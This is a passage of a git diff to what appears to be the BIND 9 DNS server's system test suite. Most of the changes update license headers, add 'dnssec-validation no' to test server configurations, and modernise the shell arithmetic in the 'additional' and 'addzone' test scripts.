--- a/bin/tests/system/additional/ns1/naptr2.db
+++ b/bin/tests/system/additional/ns1/naptr2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/nid.db b/bin/tests/system/additional/ns1/nid.db
index 5d5bee8e09..f76b52e832 100644
--- a/bin/tests/system/additional/ns1/nid.db
+++ b/bin/tests/system/additional/ns1/nid.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/root.db b/bin/tests/system/additional/ns1/root.db
index 7db363b2bf..94cfddac24 100644
--- a/bin/tests/system/additional/ns1/root.db
+++ b/bin/tests/system/additional/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/rt.db b/bin/tests/system/additional/ns1/rt.db
index 6958f38fd6..c858f0d9cb 100644
--- a/bin/tests/system/additional/ns1/rt.db
+++ b/bin/tests/system/additional/ns1/rt.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/rt2.db b/bin/tests/system/additional/ns1/rt2.db
index 667eb118a8..b61a19850a 100644
--- a/bin/tests/system/additional/ns1/rt2.db
+++ b/bin/tests/system/additional/ns1/rt2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/srv.db b/bin/tests/system/additional/ns1/srv.db
index bc8d58190b..0aee21a4c1 100644
--- a/bin/tests/system/additional/ns1/srv.db
+++ b/bin/tests/system/additional/ns1/srv.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns2/named.conf.in b/bin/tests/system/additional/ns2/named.conf.in
index 4c41816bbe..ed43ca6627 100644
--- a/bin/tests/system/additional/ns2/named.conf.in
+++ b/bin/tests/system/additional/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,6 +22,7 @@ options {
 	listen-on-v6 { none; };
 	notify no;
 	minimal-responses yes;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/additional/ns2/root.db b/bin/tests/system/additional/ns2/root.db
index 3241240784..728bdde441 100644
--- a/bin/tests/system/additional/ns2/root.db
+++ b/bin/tests/system/additional/ns2/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns3/ex.db b/bin/tests/system/additional/ns3/ex.db
index 409c2dfd48..c893a844f6 100644
--- a/bin/tests/system/additional/ns3/ex.db
+++ b/bin/tests/system/additional/ns3/ex.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns3/ex2.db b/bin/tests/system/additional/ns3/ex2.db
index 30d4ca7c7a..f9039cf22f 100644
--- a/bin/tests/system/additional/ns3/ex2.db
+++ b/bin/tests/system/additional/ns3/ex2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns3/named.conf.in b/bin/tests/system/additional/ns3/named.conf.in
index de87de56e4..2bd01c945d 100644
--- a/bin/tests/system/additional/ns3/named.conf.in
+++ b/bin/tests/system/additional/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns3/root.hint b/bin/tests/system/additional/ns3/root.hint
index 775f78235a..ef6ee6fada 100644
--- a/bin/tests/system/additional/ns3/root.hint
+++ b/bin/tests/system/additional/ns3/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/setup.sh b/bin/tests/system/additional/setup.sh
index 685e34ae57..2cbc08d7e9 100644
--- a/bin/tests/system/additional/setup.sh
+++ b/bin/tests/system/additional/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/additional/tests.sh b/bin/tests/system/additional/tests.sh
index dedfd018a9..a50004c5c8 100644
--- a/bin/tests/system/additional/tests.sh
+++ b/bin/tests/system/additional/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT}"
@@ -18,7 +22,7 @@ status=0
 n=0
 
 dotests() {
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with RT, single zone (+rec) ($n)"
     ret=0
     $DIG $DIGOPTS +rec -t RT rt.rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -26,7 +30,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with RT, two zones (+rec) ($n)"
     ret=0
     $DIG $DIGOPTS +rec -t RT rt.rt2.example @10.53.0.1 > dig.out.$n || ret=1
@@ -34,7 +38,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NAPTR, single zone (+rec) ($n)"
     ret=0
     $DIG $DIGOPTS +rec -t NAPTR nap.naptr.example @10.53.0.1 > dig.out.$n || ret=1
@@ -42,7 +46,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NAPTR, two zones (+rec) ($n)"
     ret=0
     $DIG $DIGOPTS +rec -t NAPTR nap.hang3b.example @10.53.0.1 > dig.out.$n || ret=1
@@ -50,7 +54,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with LP (+rec) ($n)"
     ret=0
     $DIG $DIGOPTS +rec -t LP nid2.nid.example @10.53.0.1 > dig.out.$n || ret=1
@@ -80,7 +84,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NID (+rec) ($n)"
     ret=0
     $DIG $DIGOPTS +rec -t NID ns1.nid.example @10.53.0.1 > dig.out.$n || ret=1
@@ -96,7 +100,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NID + LP (+rec) ($n)"
     ret=0
     $DIG $DIGOPTS +rec -t NID nid2.nid.example @10.53.0.1 > dig.out.$n || ret=1
@@ -114,7 +118,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with RT, single zone (+norec) ($n)"
     ret=0
     $DIG $DIGOPTS +norec -t RT rt.rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -122,7 +126,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with RT, two zones (+norec) ($n)"
     ret=0
     $DIG $DIGOPTS +norec -t RT rt.rt2.example @10.53.0.1 > dig.out.$n || ret=1
@@ -130,7 +134,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NAPTR, single zone (+norec) ($n)"
     ret=0
     $DIG $DIGOPTS +norec -t NAPTR nap.naptr.example @10.53.0.1 > dig.out.$n || ret=1
@@ -138,7 +142,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NAPTR, two zones (+norec) ($n)"
     ret=0
     $DIG $DIGOPTS +norec -t NAPTR nap.hang3b.example @10.53.0.1 > dig.out.$n || ret=1
@@ -146,7 +150,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with LP (+norec) ($n)"
     ret=0
     $DIG $DIGOPTS +norec -t LP nid2.nid.example @10.53.0.1 > dig.out.$n || ret=1
@@ -176,7 +180,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NID (+norec) ($n)"
     ret=0
     $DIG $DIGOPTS +norec -t NID ns1.nid.example @10.53.0.1 > dig.out.$n || ret=1
@@ -192,7 +196,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NID + LP (+norec) ($n)"
     ret=0
     $DIG $DIGOPTS +norec -t NID nid2.nid.example @10.53.0.1 > dig.out.$n || ret=1
@@ -210,7 +214,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NS, root zone ($n)"
     ret=0
     $DIG $DIGOPTS -t NS . @10.53.0.1 > dig.out.$n || ret=1
@@ -220,7 +224,7 @@ dotests() {
             echo_i "failed"; status=$((status+1))
     fi
 
-    n=`expr $n + 1`
+    n=$((n + 1))
     echo_i "test with NS, non-root zone ($n)"
     ret=0
     $DIG $DIGOPTS -t NS rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -255,7 +259,7 @@ echo_i "testing with 'minimal-responses no;'"
 minimal=no
 dotests
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing with 'minimal-any no;' ($n)"
 ret=0
 $DIG $DIGOPTS -t ANY www.rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -268,7 +272,7 @@ echo_i "reconfiguring server: minimal-any yes"
 copy_setports ns1/named3.conf.in ns1/named.conf
 rndc_reconfig ns1 10.53.0.1
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing with 'minimal-any yes;' over UDP ($n)"
 ret=0
 $DIG $DIGOPTS -t ANY +notcp www.rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -276,7 +280,7 @@ grep "ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1" dig.out.$n > /dev/null || ret=1
 if [ $ret -eq 1 ] ; then
     echo_i "failed"; status=$((status+1))
 fi
-n=`expr $n + 1`
+n=$((n + 1))
 
 echo_i "testing with 'minimal-any yes;' over TCP ($n)"
 ret=0
@@ -286,7 +290,7 @@ if [ $ret -eq 1 ] ; then
     echo_i "failed"; status=$((status+1))
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing with 'minimal-any yes;' over UDP ($n)"
 ret=0
 $DIG $DIGOPTS -t ANY +notcp www.rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -307,7 +311,7 @@ echo_i "testing with 'minimal-responses no-auth-recursive;'"
 minimal=no-auth-recursive
 dotests
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing returning TLSA records with MX query ($n)"
 ret=0
 $DIG $DIGOPTS -t mx mx.example @10.53.0.1 > dig.out.$n || ret=1
@@ -318,7 +322,7 @@ if [ $ret -eq 1 ] ; then
     echo_i "failed"; status=$((status+1))
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing returning TLSA records with SRV query ($n)"
 ret=0
 $DIG $DIGOPTS -t srv _xmpp-client._tcp.srv.example @10.53.0.1 > dig.out.$n || ret=1
@@ -333,7 +337,7 @@ echo_i "reconfiguring server: minimal-responses no"
 copy_setports ns1/named2.conf.in ns1/named.conf
 rndc_reconfig ns1 10.53.0.1
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing NS handling in ANY responses (authoritative) ($n)"
 ret=0
 $DIG $DIGOPTS -t ANY rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -343,7 +347,7 @@ if [ $ret -eq 1 ] ; then
     echo_i "failed"; status=$((status+1))
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing NS handling in ANY responses (recursive) ($n)"
 ret=0
 $DIG $DIGOPTS -t ANY rt.example @10.53.0.3 > dig.out.$n || ret=1
@@ -353,7 +357,7 @@ if [ $ret -eq 1 ] ; then
     echo_i "failed"; status=$((status+1))
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing out-of-zone additional data from auth zones (authoritative) ($n)"
 ret=0
 $DIG $DIGOPTS -t NS rt.example @10.53.0.1 > dig.out.$n || ret=1
@@ -362,7 +366,7 @@ if [ $ret -eq 1 ] ; then
     echo_i "failed"; status=$((status+1))
 fi
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "testing out-of-zone additional data from auth zones (recursive) ($n)"
 ret=0
 $DIG $DIGOPTS -t NS ex @10.53.0.3 > dig.out.$n || ret=1
diff --git a/bin/tests/system/additional/tests_sh_additional.py b/bin/tests/system/additional/tests_sh_additional.py
new file mode 100644
index 0000000000..cdc38f4d81
--- /dev/null
+++ b/bin/tests/system/additional/tests_sh_additional.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_additional(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/addzone/clean.sh b/bin/tests/system/addzone/clean.sh
index d87474aeb3..5e94b5c759 100644
--- a/bin/tests/system/addzone/clean.sh
+++ b/bin/tests/system/addzone/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/addzone/ns1/inlinesec.db b/bin/tests/system/addzone/ns1/inlinesec.db
index 5db7e024e3..eb9d042d6a 100644
--- a/bin/tests/system/addzone/ns1/inlinesec.db
+++ b/bin/tests/system/addzone/ns1/inlinesec.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns1/named.conf.in b/bin/tests/system/addzone/ns1/named.conf.in
index a3f4256a96..9015e1b9d9 100644
--- a/bin/tests/system/addzone/ns1/named.conf.in
+++ b/bin/tests/system/addzone/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -26,6 +28,7 @@ options {
 	allow-query { any; };
 	allow-new-zones yes;
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/addzone/ns1/redirect.db.1 b/bin/tests/system/addzone/ns1/redirect.db.1
index 7b40db9c33..5dcdd1bba7 100644
--- a/bin/tests/system/addzone/ns1/redirect.db.1
+++ b/bin/tests/system/addzone/ns1/redirect.db.1
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns1/redirect.db.2 b/bin/tests/system/addzone/ns1/redirect.db.2
index a4f0d3806c..4dcbdbc012 100644
--- a/bin/tests/system/addzone/ns1/redirect.db.2
+++ b/bin/tests/system/addzone/ns1/redirect.db.2
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns2/added.db b/bin/tests/system/addzone/ns2/added.db
index 9b54d19204..286e717532 100644
--- a/bin/tests/system/addzone/ns2/added.db
+++ b/bin/tests/system/addzone/ns2/added.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns2/default.nzf.in b/bin/tests/system/addzone/ns2/default.nzf.in
index 614bddeb43..d9740f5040 100644
--- a/bin/tests/system/addzone/ns2/default.nzf.in
+++ b/bin/tests/system/addzone/ns2/default.nzf.in
@@ -1 +1,14 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 zone previous.example { type primary; file "previous.db"; };
diff --git a/bin/tests/system/addzone/ns2/hints.db b/bin/tests/system/addzone/ns2/hints.db
index 418ea963fa..e0f186c2f8 100644
--- a/bin/tests/system/addzone/ns2/hints.db
+++ b/bin/tests/system/addzone/ns2/hints.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns2/inline.db b/bin/tests/system/addzone/ns2/inline.db
index a45d30e0b1..c968104811 100644
--- a/bin/tests/system/addzone/ns2/inline.db
+++ b/bin/tests/system/addzone/ns2/inline.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/addzone/ns2/named1.conf.in b/bin/tests/system/addzone/ns2/named1.conf.in
index dc1d26fc5d..23be60ef70 100644
--- a/bin/tests/system/addzone/ns2/named1.conf.in
+++ b/bin/tests/system/addzone/ns2/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,6 +19,7 @@ options {
 	allow-query { any; };
 	recursion no;
 	allow-new-zones yes;
+	dnssec-validation no;
 };
 
 include "../../common/rndc.key";
diff --git a/bin/tests/system/addzone/ns2/named2.conf.in b/bin/tests/system/addzone/ns2/named2.conf.in
index 94724d50d9..8b0f23de2c 100644
--- a/bin/tests/system/addzone/ns2/named2.conf.in
+++ b/bin/tests/system/addzone/ns2/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,6 +24,7 @@ options {
 	listen-on { 10.53.0.2; 10.53.0.4; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 view internal {
diff --git a/bin/tests/system/addzone/ns2/named3.conf.in b/bin/tests/system/addzone/ns2/named3.conf.in
index f4d948e267..7078ce989e 100644
--- a/bin/tests/system/addzone/ns2/named3.conf.in
+++ b/bin/tests/system/addzone/ns2/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -22,6 +24,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	new-zones-directory "new-zones";
+	dnssec-validation no;
 };
 
 view internal {
diff --git a/bin/tests/system/addzone/ns2/normal.db b/bin/tests/system/addzone/ns2/normal.db
index 50450928e9..fa05638f32 100644
--- a/bin/tests/system/addzone/ns2/normal.db
+++ b/bin/tests/system/addzone/ns2/normal.db
